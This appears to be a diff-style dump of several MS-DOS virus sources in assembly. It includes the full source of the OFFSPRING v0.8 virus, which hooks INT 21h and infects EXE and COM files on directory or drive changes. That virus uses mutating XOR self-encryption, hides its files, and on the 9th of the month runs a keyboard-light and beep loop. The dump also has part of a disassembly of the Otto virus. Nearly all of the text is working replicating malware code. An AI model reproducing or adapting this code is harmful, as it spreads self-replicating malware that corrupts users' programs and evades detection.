|
||||
CMP BYTE PTR TIMES_INC,9
|
||||
JE INC_NUM
|
||||
INC WORD PTR B_WR
|
||||
INC WORD PTR E_JMP
|
||||
INC WORD PTR E_JMP
|
||||
INC TIMES_INC
|
||||
JMP D2
|
||||
INC_NUM:
|
||||
SUB WORD PTR B_WR,09
|
||||
SUB WORD PTR E_JMP,18
|
||||
MOV TIMES_INC,0
|
||||
|
||||
;-----------------------
|
||||
; Get random XOR number, save it, copy virus, encrypt code
|
||||
|
||||
D2:
|
||||
|
||||
MOV AH,2CH ;
|
||||
INT 21H ; Get random number from clock - millisecs
|
||||
|
||||
MOV WORD PTR XOR_OP+2,DX ; save encryption #
|
||||
|
||||
|
||||
MOV SI,0100H
|
||||
LEA DI,VEND+50 ; destination
|
||||
MOV CX,OFFSET VEND-100H ; bytes to move
|
||||
CLD
|
||||
REP MOVSB ; copy virus outside of code
|
||||
|
||||
|
||||
LEA DI,VEND+ENC_DATA-204 ; offset of new copy of virus
|
||||
CMP BYTE PTR VTYPE, PARASTIC
|
||||
JNE GO_ENC
|
||||
;add di,si
|
||||
|
||||
GO_ENC:
|
||||
CALL ENCRYPT ; encrypt new copy of virus
|
||||
|
||||
;----------------------------------------
|
||||
; Write and close new infected file
|
||||
|
||||
POP BX
|
||||
MOV CX, OFFSET VEND-100H ; # of bytes to write
|
||||
LEA DX, VEND+50 ; Offset of buffer
|
||||
MOV AH, 40H ; -- our program in memory
|
||||
INT 21H ; Call INT 21H function 40h
|
||||
|
||||
CMP VTYPE, PARASTIC ; parastic?
|
||||
JNE CLOSE ; no, don't need to restore date/time
|
||||
|
||||
MOV AX,5701H ; Restore data/time
|
||||
MOV CX,VEND[F_TIME]
|
||||
MOV DX,VEND[F_DATE]
|
||||
INT 21H
|
||||
|
||||
|
||||
CLOSE: MOV AH, 3EH
|
||||
INT 21H
|
||||
|
||||
|
||||
NO_INFECT:
|
||||
|
||||
; Find next file
|
||||
FIND_FILE :
|
||||
|
||||
CMP INF_COUNT, MAX_INF
|
||||
JE END_PROG
|
||||
MOV AH,4FH
|
||||
INT 21H
|
||||
JC END_PROG
|
||||
JMP NEXT_LOOP
|
||||
|
||||
|
||||
END_PROG:
|
||||
EXIT :
|
||||
CMP INF_COUNT,0 ; Start parastic infection on next run
|
||||
JNE FIND_DONE
|
||||
CMP VTYPE, PARASTIC ; Parastic infection done?
|
||||
JE FIND_DONE ; yes, we're finished
|
||||
MOV FNAME_OFF, OFFSET FNAME2 ; Point to new filespec
|
||||
MOV VTYPE, PARASTIC ; virus type = parastic
|
||||
JMP FIND_FIRST
|
||||
|
||||
|
||||
FIND_DONE:
|
||||
MOV VTYPE,SPAWN
|
||||
MOV FNAME_OFF, OFFSET FNAME1
|
||||
RET
|
||||
RESIDENT ENDP
|
||||
|
||||
END_ENCRYPT: ; Let's encrypt everything up to here
|
||||
OP_SET DB 90H ; NOP
|
||||
DB 40H ; INC AX
|
||||
DB 43H ; INC BX
|
||||
DB 48H ; DEC AX
|
||||
DB 4BH ; DEC BX
|
||||
DB 0FBH ; STI
|
||||
DB 0FCH ; CLD
|
||||
DB 4AH ; DEC DX
|
||||
DB 42H ; INC DX
|
||||
DB 14 DUP(090H)
|
||||
;------------------------------------------------
|
||||
; Encrypt/Decrypt Routine
|
||||
;-----------------------------------------------
|
||||
|
||||
ENCRYPT PROC
|
||||
CX_M DB 0B9H ; MOV CX
|
||||
B_WR DW (OFFSET END_ENCRYPT-OFFSET ENC_DATA)/2
|
||||
E2:
|
||||
SW_BYTE1: ; XOR [di],dx swaps positions with this
|
||||
NOP
|
||||
XOR_OP: XOR WORD PTR [DI],0666H ; Xor each word - number changes accordingly
|
||||
SW_BYTE3: ; INC DI changes position in these bytes
|
||||
INC DI
|
||||
NOP
|
||||
NOP
|
||||
SW_BYTE4: ; INC DI changes position in these bytes
|
||||
INC DI
|
||||
NOP
|
||||
NOP
|
||||
SW_BYTE2:
|
||||
NOP ; This byte changes into a char in op_set
|
||||
LOOP E2 ; loop while cx != 0
|
||||
|
||||
RET
|
||||
|
||||
ENCRYPT ENDP
|
||||
|
||||
VEND DW 0 ; End of virus
|
||||
|
||||
CSEG ENDS
|
||||
END START
|
||||
@@ -0,0 +1,665 @@
|
||||
;-------------------------------------------------------------------------
|
||||
; ************************************************
|
||||
; OFFSPRING v0.8 - BY VIROGEN - 04-26-93
|
||||
; ************************************************
|
||||
;
|
||||
; - Compatible with : TASM /m2
|
||||
;
|
||||
; TYPE : Parastic & Spawning Resident Encrypting (PSRhA)
|
||||
;
|
||||
;
|
||||
; VERSION : BETA 0.8
|
||||
;
|
||||
; INFECTION METHOD : Everytime DOS function 3Bh (change dir) or function
|
||||
; 0Eh (change drive) is called the virus will infect
|
||||
; up to 5 files in the current directory (the one
|
||||
; you're coming out of). It will first infect all
|
||||
; EXE files by creating a corresponding COM. Once
|
||||
; all EXE files have been infected, it then infects
|
||||
; COM files. All COM files created by a spawning
|
||||
; infection will have the read-only and hidden
|
||||
; attribute.
|
||||
;
|
||||
;
|
||||
; THE ENCRYPION OF THIS VIRUS :
|
||||
; Ok, this virus's encryption method is a simple
|
||||
; XOR. The encryption operands are changed directly.
|
||||
; Also, the operands are switched around, and the
|
||||
; encryption routine switches from using di to si.
|
||||
; Not anything overly amazing, but it works.
|
||||
;
|
||||
;
|
||||
title offspring_1
|
||||
.286
|
||||
cseg segment
|
||||
assume cs: cseg, ds: cseg, ss: cseg, es: cseg
|
||||
|
||||
signal equ 7dh ; Installation check
|
||||
reply equ 0fch ; reply to check
|
||||
f_name equ 1eh ; Offset of file name in FF/FN buffer
|
||||
f_sizel equ 1ch ; File size - low - loc in mem
|
||||
f_sizeh equ 1ah ; File size - high - loc in mem
|
||||
f_date equ 18h ; File date - loc in mem
|
||||
f_time equ 16h ; File time - loc in mem
|
||||
max_inf equ 05 ; Maximum files to infect per run
|
||||
max_rotation equ 9 ; number of bytes in switch byte table
|
||||
parastic equ 01 ; Parastic infection
|
||||
spawn equ 00 ; Spawning infection
|
||||
|
||||
org 100h ; Leave room for PSP
|
||||
|
||||
;------------------------------------------------------------------
|
||||
; Start of viral code
|
||||
;------------------------------------------------------------------
|
||||
|
||||
start:
|
||||
|
||||
db 0bdh ; MOV BP,xxxx - Load delta offset
|
||||
set_bp:
|
||||
dw 0000
|
||||
|
||||
skip_dec:
|
||||
jmp main ; Skip decryption, changes into NOP on
|
||||
; replicated copies.
|
||||
di_op db 0bfh
|
||||
mov_di dw offset enc_data+2 ; Point to byte after encryption num
|
||||
;
|
||||
;-------------------------
|
||||
; Encryption/Decryption
|
||||
|
||||
encrypt:
|
||||
cx_m db 90h,0b9h ; MOV CX
|
||||
b_wr dw (offset vend-offset enc_data)/2
|
||||
xor_loop:
|
||||
xor_op: xor word ptr [di],0666h ; Xor each word - number changes accordingly
|
||||
sw_byte3: ; INC xx changes position in these bytes
|
||||
inc di
|
||||
nop
|
||||
nop
|
||||
sw_byte4:
|
||||
inc di
|
||||
nop
|
||||
nop
|
||||
loop xor_loop ; loop while cx != 0
|
||||
|
||||
ret_byte db 90h ; Changes to RET (0C3h) - then back to NOP
|
||||
|
||||
enc_data: ; Start of encrypted data
|
||||
|
||||
;-------------------------------
|
||||
; Non-Resident portion of virus
|
||||
;-------------------------------
|
||||
main proc
|
||||
|
||||
mov word ptr skip_dec[bp],9090h ; NOP the jump past decryption
|
||||
|
||||
mov ax,ds: 002ch ; Get environment address
|
||||
mov par_blk[bp],ax ; Save in parameter block for exec
|
||||
|
||||
mov par1[bp],cs ; Save segments for EXEC
|
||||
mov par2[bp],cs
|
||||
mov par_seg[bp],cs
|
||||
|
||||
mov ah,2ah ; Get date
|
||||
int 21h
|
||||
|
||||
cmp dl,9 ; 9th?
|
||||
jne no_display
|
||||
|
||||
mov ah,09 ; display virus name
|
||||
lea dx,vname[bp]
|
||||
int 21h
|
||||
|
||||
xor ax,ax ; seg 0
|
||||
mov es,ax
|
||||
mov dx,1010101010101010b ; lights
|
||||
chg_lights: ; Infinite loop to change keyboard
|
||||
mov word ptr es: [416h],dx ; 0040:0016h = keyb flags
|
||||
ror dx,1 ; rotate bits
|
||||
mov cx,0101h ; scan code/ascii
|
||||
mov ah,05h ; push a beep onto keyb buf
|
||||
int 16h
|
||||
mov ah,10h ; Read key back so we don't fill
|
||||
int 16h ; up the keyboard buffer
|
||||
int 5h ; Print-Screen
|
||||
mov ax,0a07h ; Write BEEP to screen
|
||||
xor bh,bh
|
||||
mov cx,1
|
||||
int 10h
|
||||
mov ah,86h ; Delay
|
||||
mov cx,0002h
|
||||
int 15h
|
||||
|
||||
jmp chg_lights
|
||||
|
||||
no_display:
|
||||
|
||||
call install ; check if installed, if not install
|
||||
|
||||
cmp byte ptr vtype[bp],parastic
|
||||
je com_return
|
||||
|
||||
mov bx,(offset vend+50) ; Calculate memory needed
|
||||
mov cl,4 ; divide by 16
|
||||
shr bx,cl
|
||||
inc bx
|
||||
mov ah,4ah
|
||||
int 21h ; Release un-needed memory
|
||||
|
||||
lea dx,file_dir-1[bp] ; Execute the original EXE
|
||||
lea bx,par_blk[bp]
|
||||
mov ax,4b00h
|
||||
int 21h
|
||||
|
||||
mov ah,4ch ; Exit
|
||||
int 21h
|
||||
|
||||
com_return:
|
||||
|
||||
mov si,bp
|
||||
mov cx,4 ; Restore original first
|
||||
add si,offset org_bytes ; five bytes of COM file
|
||||
mov di,0100h
|
||||
cld
|
||||
rep movsb
|
||||
|
||||
mov ax,0100h ; Simulate CALL return to 0100h
|
||||
push ax
|
||||
ret
|
||||
|
||||
main endp
|
||||
|
||||
;--------------------------------------
|
||||
; INSTALL - Install the virus
|
||||
;--------------------------------------
|
||||
|
||||
install proc
|
||||
|
||||
mov ah,signal
|
||||
int 21h
|
||||
cmp ah,reply
|
||||
je no_install
|
||||
|
||||
mov ax,cs
|
||||
dec ax
|
||||
mov ds,ax
|
||||
cmp byte ptr ds: [0],'Z' ;Is this the last MCB in
|
||||
;the chain?
|
||||
jne no_install
|
||||
|
||||
|
||||
mov ax,ds: [3] ;Block size in MCB
|
||||
sub ax,190 ;Shrink Block Size-quick estimate
|
||||
mov ds: [3],ax
|
||||
|
||||
mov bx,ax
|
||||
mov ax,es
|
||||
add ax,bx
|
||||
mov es,ax ;Find high memory seg
|
||||
|
||||
mov si,bp
|
||||
add si,0100h
|
||||
mov cx,(offset vend - offset start)
|
||||
mov ax,ds
|
||||
inc ax
|
||||
mov ds,ax
|
||||
mov di,100h ; New location in high memory
|
||||
cld
|
||||
rep movsb ; Copy virus to high memory
|
||||
|
||||
push es
|
||||
pop ds
|
||||
xor ax,ax
|
||||
mov es,ax ; null es
|
||||
mov ax,es: [21h*4+2]
|
||||
mov bx,es: [21h*4]
|
||||
mov ds: old21_seg,ax ; Store segment
|
||||
mov ds: old21_ofs,bx ; Store offset
|
||||
|
||||
cli
|
||||
|
||||
mov es: [21h*4+2],ds ; Save seg
|
||||
lea ax, new21
|
||||
mov es: [21h*4],ax ; off
|
||||
|
||||
sti
|
||||
|
||||
no_install:
|
||||
push cs ; Restore regs
|
||||
pop ds
|
||||
push cs
|
||||
pop es
|
||||
|
||||
ret
|
||||
install endp
|
||||
|
||||
;--------------------------------------------------------------------
|
||||
; INT 21h
|
||||
;---------------------------------------------------------------------
|
||||
|
||||
new21 proc ; New INT 21H handler
|
||||
|
||||
cmp ah, signal ; signaling us?
|
||||
jne no
|
||||
mov ah,reply ; yep, give our offspring what he wants
|
||||
jmp end_21
|
||||
no:
|
||||
cmp ah, 3bh ; set dir func?
|
||||
je run_res
|
||||
cmp ah,0eh ; set disk func?
|
||||
je run_res
|
||||
|
||||
jmp end_21
|
||||
|
||||
run_res:
|
||||
pushf
|
||||
push ax ; Push regs
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push di
|
||||
push si
|
||||
push bp
|
||||
push ds
|
||||
push es
|
||||
push sp
|
||||
push ss
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
xor ax,ax ; nullify ES
|
||||
mov es,ax
|
||||
|
||||
cmp byte ptr add_mem,1 ; Restore system conventional mem size?
|
||||
je rel_mem ;
|
||||
cmp ah,48h ; alloc. mem block? If so we subtract 3k from
|
||||
je set_mem ; total system memory.
|
||||
|
||||
jmp no_mem_func
|
||||
|
||||
set_mem:
|
||||
sub word ptr es: [413h],3 ; Subtract 3k from total sys mem
|
||||
inc byte ptr add_mem ; make sure we know to add this back
|
||||
jmp no_mem_func
|
||||
rel_mem:
|
||||
add word ptr es: [413h],3 ; Add 3k to total sys mem
|
||||
dec byte ptr add_mem
|
||||
|
||||
|
||||
no_mem_func:
|
||||
mov ah,2fh
|
||||
int 21h ; Get the DTA
|
||||
|
||||
mov ax,es
|
||||
mov word ptr old_dta,bx
|
||||
mov word ptr old_dta+2,ax
|
||||
push cs
|
||||
pop es
|
||||
|
||||
call resident ; Call infection kernal
|
||||
|
||||
mov dx,word ptr old_dta
|
||||
mov ax,word ptr old_dta+2
|
||||
mov ds,ax
|
||||
mov ah,1ah
|
||||
int 21h ; Restore the DTA
|
||||
|
||||
pop ss ; Pop regs
|
||||
pop sp
|
||||
pop es
|
||||
pop ds
|
||||
pop bp
|
||||
pop si
|
||||
pop di
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
popf
|
||||
end_21 :
|
||||
db 0eah ; jump to original int 21h
|
||||
old21_ofs dw 0 ; Offset of old INT 21H
|
||||
old21_seg dw 0 ; Seg of old INT 21h
|
||||
new21 endp ; End of handler
|
||||
|
||||
;------------------------
|
||||
; Resident - This is called from the INT 21h handler
|
||||
;-----------------------------
|
||||
resident proc
|
||||
|
||||
mov byte ptr vtype,spawn
|
||||
mov word ptr set_bp,0000 ; BP=0000 on load
|
||||
mov byte ptr inf_count,0 ; null infection count
|
||||
mov fname_off, offset fname1 ; Set search for *.EXE
|
||||
mov word ptr mov_di,offset enc_data+2
|
||||
|
||||
find_first:
|
||||
mov word ptr vend,0 ; Clear ff/fn buffer
|
||||
lea si, vend
|
||||
lea di, vend+2
|
||||
mov cx, 22
|
||||
cld
|
||||
rep movsw
|
||||
|
||||
; Set DTA address - This is for the Findfirst/Findnext INT 21H functions
|
||||
mov ah, 1ah
|
||||
lea dx, vend
|
||||
int 21h
|
||||
|
||||
mov ah, 4eh ; Findfirst
|
||||
mov cx, 0 ; Set normal file attribute search
|
||||
mov dx, fname_off
|
||||
int 21h
|
||||
|
||||
jnc next_loop ; if still finding files then loop
|
||||
jmp end_prog
|
||||
|
||||
next_loop :
|
||||
cmp byte ptr vtype, parastic ; parastic infection?
|
||||
je start_inf ; yes, skip all this
|
||||
|
||||
mov ah,47h
|
||||
xor dl,dl
|
||||
lea si,file_dir
|
||||
int 21h
|
||||
|
||||
cmp word ptr vend[f_sizel],0 ; Make sure file isn't 64k+
|
||||
je ok_find ; for spawning infections
|
||||
jmp find_file
|
||||
|
||||
ok_find:
|
||||
xor bx,bx
|
||||
lm3 : ; find end of directory name
|
||||
inc bx
|
||||
cmp file_dir[bx],0
|
||||
jne lm3
|
||||
|
||||
mov file_dir[bx],'\' ; append backslash to path
|
||||
inc bx
|
||||
|
||||
mov cx,13 ; append filename to path
|
||||
lea si,vend[f_name]
|
||||
lea di,file_dir[bx]
|
||||
cld
|
||||
rep movsb
|
||||
|
||||
xor bx,bx
|
||||
mov bx,1eh
|
||||
|
||||
loop_me: ; search for filename ext.
|
||||
inc bx
|
||||
cmp byte ptr vend[bx], '.'
|
||||
jne loop_me
|
||||
|
||||
inc bx ; change it to COM
|
||||
mov word ptr vend [bx],'OC'
|
||||
mov byte ptr vend [bx+2],'M'
|
||||
|
||||
|
||||
start_inf:
|
||||
|
||||
cmp byte ptr vtype, parastic ; parastic infection?
|
||||
je parastic_inf ; yes.. so jump
|
||||
|
||||
;--------------------------------------
|
||||
; Spawning infection
|
||||
|
||||
|
||||
lea dx, vend[f_name]
|
||||
mov ah, 3ch ; Create file
|
||||
mov cx, 02h ; READ-ONLY
|
||||
or cx, 01h ; Hidden
|
||||
int 21h ; Call INT 21H
|
||||
jnc contin ; If Error-probably already infected
|
||||
jmp no_infect
|
||||
contin:
|
||||
|
||||
inc inf_count
|
||||
mov bx,ax
|
||||
|
||||
jmp encrypt_ops
|
||||
;----------------------------------------
|
||||
; Parastic infection
|
||||
|
||||
parastic_inf :
|
||||
|
||||
cmp word ptr vend+f_sizeh,400h
|
||||
jge cont_inf2
|
||||
jmp no_infect
|
||||
|
||||
cont_inf2:
|
||||
|
||||
lea si,vend+f_name ; Is Command.COM?
|
||||
lea di,com_name
|
||||
mov cx,11
|
||||
cld
|
||||
repe cmpsb
|
||||
|
||||
jne cont_inf0 ; Yes, don't infect
|
||||
jmp no_infect
|
||||
|
||||
cont_inf0:
|
||||
|
||||
mov ax,3d02h ; Open file for reading & writing
|
||||
lea dx,vend+f_name ; Filename in FF/FN buffer
|
||||
int 21h
|
||||
|
||||
jnc cont_inf1 ; error, skip infection
|
||||
jmp no_infect
|
||||
|
||||
cont_inf1:
|
||||
|
||||
|
||||
mov bx,ax
|
||||
|
||||
mov ah,3fh ; Read first bytes of file
|
||||
mov cx,04
|
||||
lea dx,org_bytes
|
||||
int 21h
|
||||
|
||||
cmp word ptr org_bytes,0e990h
|
||||
jne cont_inf
|
||||
mov ah,3eh
|
||||
int 21h
|
||||
jmp no_infect
|
||||
|
||||
cont_inf:
|
||||
inc inf_count
|
||||
mov ax,4202h ; Set pointer to end of file, so we
|
||||
xor cx,cx ; can find the file size
|
||||
xor dx,dx
|
||||
int 21h
|
||||
|
||||
mov word ptr set_bp,ax ; Change the MOV BP inst.
|
||||
add ax, offset enc_data+2
|
||||
mov word ptr mov_di,ax ; chg mov di,xxxx
|
||||
|
||||
mov ax,4200h
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
int 21h
|
||||
|
||||
mov ax,word ptr vend+f_sizeh
|
||||
sub ax,4
|
||||
mov word ptr new_jmp+1,ax
|
||||
|
||||
|
||||
mov ah,40h
|
||||
mov cx,4
|
||||
lea dx,new_code
|
||||
int 21h
|
||||
|
||||
mov ax,4202h
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
int 21h
|
||||
|
||||
|
||||
encrypt_ops:
|
||||
|
||||
;-----------------------------
|
||||
; Change encryptions ops
|
||||
|
||||
push bx
|
||||
|
||||
cmp pad_bytes,50
|
||||
je reset_pad
|
||||
inc word ptr pad_bytes ; Increase file size
|
||||
inc word ptr b_wr
|
||||
jmp pad_ok
|
||||
reset_pad:
|
||||
mov ax,pad_bytes
|
||||
sub word ptr b_wr,ax
|
||||
xor ax,ax
|
||||
mov pad_bytes,ax
|
||||
|
||||
pad_ok:
|
||||
|
||||
cmp inc_op,47h ; change ops from DI to SI
|
||||
jne set2
|
||||
dec inc_op
|
||||
dec byte ptr xor_op+1
|
||||
dec di_op
|
||||
dec byte ptr enc_addr
|
||||
dec byte ptr enc_add+1
|
||||
jmp chg_three
|
||||
set2:
|
||||
inc inc_op
|
||||
inc byte ptr xor_op+1
|
||||
inc di_op
|
||||
inc byte ptr enc_addr
|
||||
inc byte ptr enc_add+1
|
||||
|
||||
chg_three:
|
||||
mov ah,inc_op
|
||||
xor cx,cx
|
||||
lea di,sw_byte3
|
||||
chg_four:
|
||||
xor bx,bx ; Switch INC xx's location
|
||||
cmp word ptr [di],9090h
|
||||
je mov_pos
|
||||
inc bx
|
||||
inc bx
|
||||
cmp byte ptr [di+1],90h ; is second byte not 90h
|
||||
je mov_pos
|
||||
dec bx
|
||||
mov_pos: mov word ptr [di],9090h ; set all three bytes (of 3rd)
|
||||
mov byte ptr [di+2],90h ; to NOP
|
||||
mov byte ptr [di+bx],ah ; place inc xx in other byte
|
||||
|
||||
lea di,sw_byte4
|
||||
inc cx
|
||||
cmp cx,1
|
||||
je chg_four
|
||||
;-----------------------
|
||||
; Get random XOR number, save it, copy virus, encrypt code
|
||||
|
||||
d2:
|
||||
mov ah,2ch ;
|
||||
int 21h ; Get random number from clock - millisecs
|
||||
|
||||
mov word ptr xor_op+2,dx ; save encryption #
|
||||
|
||||
|
||||
mov si,0100h
|
||||
lea di,vend+50 ; destination
|
||||
mov cx,offset vend-100h ; bytes to move
|
||||
cld
|
||||
rep movsb ; copy virus outside of code
|
||||
|
||||
enc_addr:
|
||||
mov di,offset vend
|
||||
enc_add:
|
||||
add di,offset enc_data-100h+52 ; offset of new copy of virus
|
||||
|
||||
go_enc:
|
||||
mov byte ptr ret_byte,0c3h
|
||||
call encrypt ; encrypt new copy of virus
|
||||
mov byte ptr ret_byte,90h
|
||||
|
||||
;----------------------------------------
|
||||
; Write and close new infected file
|
||||
|
||||
pop bx
|
||||
mov cx, offset vend-100h ; # of bytes to write
|
||||
add cx, pad_bytes
|
||||
lea dx, vend+50 ; Offset of buffer
|
||||
mov ah, 40h ; -- our program in memory
|
||||
int 21h ; Call INT 21H function 40h
|
||||
|
||||
mov ax,5701h ; Restore data/time
|
||||
mov cx,word ptr vend[f_time]
|
||||
mov dx,word ptr vend[f_date]
|
||||
int 21h
|
||||
|
||||
|
||||
close:
|
||||
mov ah, 3eh
|
||||
int 21h
|
||||
|
||||
|
||||
no_infect:
|
||||
|
||||
; Find next file
|
||||
find_file :
|
||||
|
||||
cmp inf_count, max_inf
|
||||
je end_prog
|
||||
mov ah,4fh
|
||||
int 21h
|
||||
jc end_prog
|
||||
jmp next_loop
|
||||
|
||||
|
||||
end_prog:
|
||||
exit :
|
||||
cmp inf_count,0 ; Start parastic infection on next run
|
||||
jne find_done
|
||||
cmp byte ptr vtype, parastic ; Parastic infection done?
|
||||
je find_done
|
||||
mov fname_off, offset fname2 ; Point to new filespec
|
||||
mov byte ptr vtype, parastic ; virus type = parastic
|
||||
jmp find_first
|
||||
|
||||
|
||||
find_done:
|
||||
mov byte ptr vtype,spawn
|
||||
mov fname_off, offset fname1
|
||||
ret
|
||||
resident endp
|
||||
|
||||
vtype db spawn ; Infection type
|
||||
rot_num dw 0000 ; Used when replacing bytes with OP_SET
|
||||
inf_count db 0 ; How many files we have infected this run
|
||||
com_name db 'COMMAND.COM' ; obvious
|
||||
new_code db 90h
|
||||
new_jmp db 0e9h,00,00 ; New Jump
|
||||
org_bytes db 5 dup(0) ; original first five bytes of parastic inf.
|
||||
pad_bytes dw 0 ; Increase in viru size
|
||||
add_mem db 0 ; Add memory back?
|
||||
old_dta dd 0 ; Old DTA Segment:Address
|
||||
inc_op db 47h ; INC DI (47h) or INC SI (46h)
|
||||
|
||||
copyr db '(c)1993 negoriV' ; my copyright
|
||||
vname db 0ah,0dh,'OFFSPRING V0.8','$'
|
||||
|
||||
fname1 db '*.EXE',0 ; Filespec
|
||||
fname2 db '*.COM',0 ; Filespec
|
||||
fname_off dw fname1 ; Offset of Filespec to use
|
||||
times_inc db 0 ; # of times encryption call incremented
|
||||
sl db '\' ; Backslash for directory name
|
||||
file_dir db 64 dup(0) ; directory of file we infected
|
||||
file_name db 13 dup(0) ; filename of file we infected
|
||||
|
||||
par_blk dw 0 ; command line count byte -psp
|
||||
par_cmd dw 0080h ; Point to the command line -psp
|
||||
par_seg dw 0 ; seg
|
||||
dw 05ch ; Use default FCB's in psp to save space
|
||||
par1 dw 0 ;
|
||||
dw 06ch ; FCB #2
|
||||
par2 dw 0 ;
|
||||
vend: ; End of virus
|
||||
|
||||
cseg ends
|
||||
end start
|
||||
@@ -0,0 +1,284 @@
|
||||
;******************************************************************************
|
||||
; Otto Virus
|
||||
;
|
||||
; Disassembled by Data Disruptor
|
||||
; (c) 1992 RABID International Development
|
||||
; (May.12.92)
|
||||
;
|
||||
; Original virus written by YAM (Youth Against McAfee) 1992
|
||||
;
|
||||
; Notes: Otto Schtuck (Pardon the spelling?) claims that this is a super-
|
||||
; encrypting virus. Well, it took me all of two minutes to get the virus
|
||||
; into it's disassembled form. Try again guys. It wasn't half bad. For
|
||||
; this virus, I could not use the techniques outlined in my article in
|
||||
; Censor Volume 1~, therefore, I had to use another method (which,
|
||||
; coincidentally is a lot better). Be expecting "Decrypting Viruses
|
||||
; Part ][" in the next issue of Censor (Slated for release in early
|
||||
; June).
|
||||
;
|
||||
; As always, these disassemblies compile but do not run. They are
|
||||
; intended to be used for "Hmm. Let's see how that group program's"
|
||||
; purposes only.
|
||||
;
|
||||
; Data Disruptor
|
||||
; RABID
|
||||
;
|
||||
; ~ I don't know the reason why my method outlined in Censor I didn't work.
|
||||
; It could have had something to do with SMARTDRV and FSP conflicting in
|
||||
; memory. Nonetheless, another method was found.
|
||||
;
|
||||
; (Ok. So it's not one of my best disassemblies, but at least it shows how
|
||||
; one can decrypt encrypted viruses...)
|
||||
;
|
||||
; A scan for this virus is;
|
||||
;
|
||||
; # Otto - Written by Otto Schtuck
|
||||
; "8A 24 32 E0 88 24 46" Otto Schtuck [Otto] *NEW*
|
||||
;
|
||||
; It does no damage, does not hide it's file increase, but preserves the time
|
||||
; & date stamp. It does not display any message. It is a transient COM infector
|
||||
; that will infect one file in the current directory each time it is run.
|
||||
;
|
||||
;******************************************************************************
|
||||
|
||||
file_handle equ 9Eh ; File handle location
|
||||
enc_bit equ 0FFh ; Encryption bit
|
||||
|
||||
code segment byte public
|
||||
assume cs:code, ds:code
|
||||
org 100h
|
||||
|
||||
;---
|
||||
; Length of virus is 379 bytes...
|
||||
;---
|
||||
|
||||
otto_vir proc far
|
||||
start:
|
||||
jmp short virus_entry ; Virus entry here
|
||||
;---
|
||||
; This hunk of shit here looks encrypted. I couldn't be bothered to go any
|
||||
; further...
|
||||
;---
|
||||
|
||||
crypt_1 db 90h
|
||||
db 12h, 44h, 75h, 64h, 6Eh,0C1h
|
||||
db 0Eh,0EDh, 70h, 05h, 34h, 5Dh
|
||||
db 77h,0EBh, 35h,0D4h, 35h, 46h
|
||||
db 34h, 68h, 7Ch,0A2h, 05h,0C1h
|
||||
db 24h, 49h, 34h, 4Eh, 6Ch,0F1h
|
||||
db 33h,0D5h, 20h, 5Ch, 7Bh, 78h
|
||||
db 08h, 88h
|
||||
crypt_2 db 69h
|
||||
db 0C3h, 79h
|
||||
db 08h, 25h, 33h, 3Ch
|
||||
db 0B0h, 61h,0F2h, 11h, 6Ah, 5Dh
|
||||
db 4Eh, 25h,0CBh, 2Fh,0D4h, 35h
|
||||
db 5Ah, 7Ah, 6Bh, 71h,0EBh, 2Eh
|
||||
db 0CEh, 31h, 44h, 19h, 00h, 1Fh
|
||||
virus_entry:
|
||||
cmp al,[bx+di-14h]
|
||||
popf ; Pop flags
|
||||
or ax,bp
|
||||
add [bx+si],al
|
||||
pop si
|
||||
push si
|
||||
sub si,108h
|
||||
pop ax
|
||||
sub ax,100h
|
||||
mov ds:enc_bit,al
|
||||
push si
|
||||
mov cx,17Bh ; 379 bytes
|
||||
add si,offset crypt_2
|
||||
|
||||
decrypt:
|
||||
mov ah,[si]
|
||||
xor ah,al
|
||||
mov [si],ah
|
||||
inc si
|
||||
ror al,1 ; Rotate
|
||||
loop decrypt
|
||||
|
||||
pop si
|
||||
mov ax,enc_ax[si]
|
||||
mov dh,enc_dh[si]
|
||||
mov word ptr ds:[100h],ax
|
||||
mov crypt_1,dh
|
||||
lea dx,filespec ; Set filespec
|
||||
xor cx,cx ; Search for normal files
|
||||
mov ah,4Eh ; Search for first match
|
||||
search_handler:
|
||||
int 21h
|
||||
jnc got_file
|
||||
jmp quit
|
||||
;---
|
||||
; Otto! If you want to save some bytes, you don't have to open the file in
|
||||
; order to get it's time. There are other ways around this...
|
||||
;---
|
||||
|
||||
got_file:
|
||||
mov dx,file_handle ; Get file handle from DTA
|
||||
mov ax,3D02h ; Open file with read/write
|
||||
int 21h
|
||||
mov bx,ax ; Save file handle in BX
|
||||
mov ax,5700h
|
||||
int 21h ; Get time/date from file
|
||||
cmp cl,3 ; Check timestamp
|
||||
jne found_host ; Not equal to our timestamp?
|
||||
mov ah,3Eh ; Then close the file and...
|
||||
int 21h ;
|
||||
mov ah,4Fh ; ...Search for next match
|
||||
jmp short search_handler
|
||||
found_host:
|
||||
push cx
|
||||
push dx
|
||||
call move_ptr_start ; Move file pointer to start
|
||||
lea dx,[si+three_bytes] ; Set buffer space for 3 bytes
|
||||
mov cx,3 ; Set for 3 bytes
|
||||
mov ah,3Fh ; Read in file
|
||||
int 21h
|
||||
xor cx,cx ; Set registers to...
|
||||
xor dx,dx ; ...absolute end of file
|
||||
mov ax,4202h
|
||||
int 21h ; Move file point to end
|
||||
mov word ptr ptr_loc[si],ax
|
||||
sub ax,3
|
||||
mov adj_ptr_loc[si],ax
|
||||
call move_ptr_start
|
||||
add ax,6
|
||||
mov work[si],al
|
||||
mov cx,word ptr ptr_loc[si]
|
||||
;---
|
||||
; Set buffer space at end of the file so that we don't waste space in the
|
||||
; virus
|
||||
;---
|
||||
lea dx,[si+2A4h]
|
||||
mov ah,3Fh ; Read in file
|
||||
int 21h
|
||||
push si
|
||||
mov al,work[si]
|
||||
add si,offset copyright+4
|
||||
call encrypt
|
||||
pop si
|
||||
call move_ptr_start
|
||||
mov cx,word ptr ptr_loc[si]
|
||||
lea dx,[si+2A4h] ; Load effective addr
|
||||
mov ah,40h ;
|
||||
int 21h
|
||||
jnc check_write ;
|
||||
jmp short quit
|
||||
check_write:
|
||||
lea dx,[si+105h] ; Load effective addr
|
||||
mov cx,24h
|
||||
mov ah,40h ;
|
||||
int 21h
|
||||
push si
|
||||
mov cx,17Bh ; 379 bytes
|
||||
mov di,si
|
||||
add di,offset copyright+1
|
||||
add si,offset crypt_2
|
||||
rep movsb ;
|
||||
pop si
|
||||
push si
|
||||
mov al,work[si]
|
||||
mov cx,17Bh ; 397 bytes
|
||||
add si,offset copyright+1
|
||||
call encrypt
|
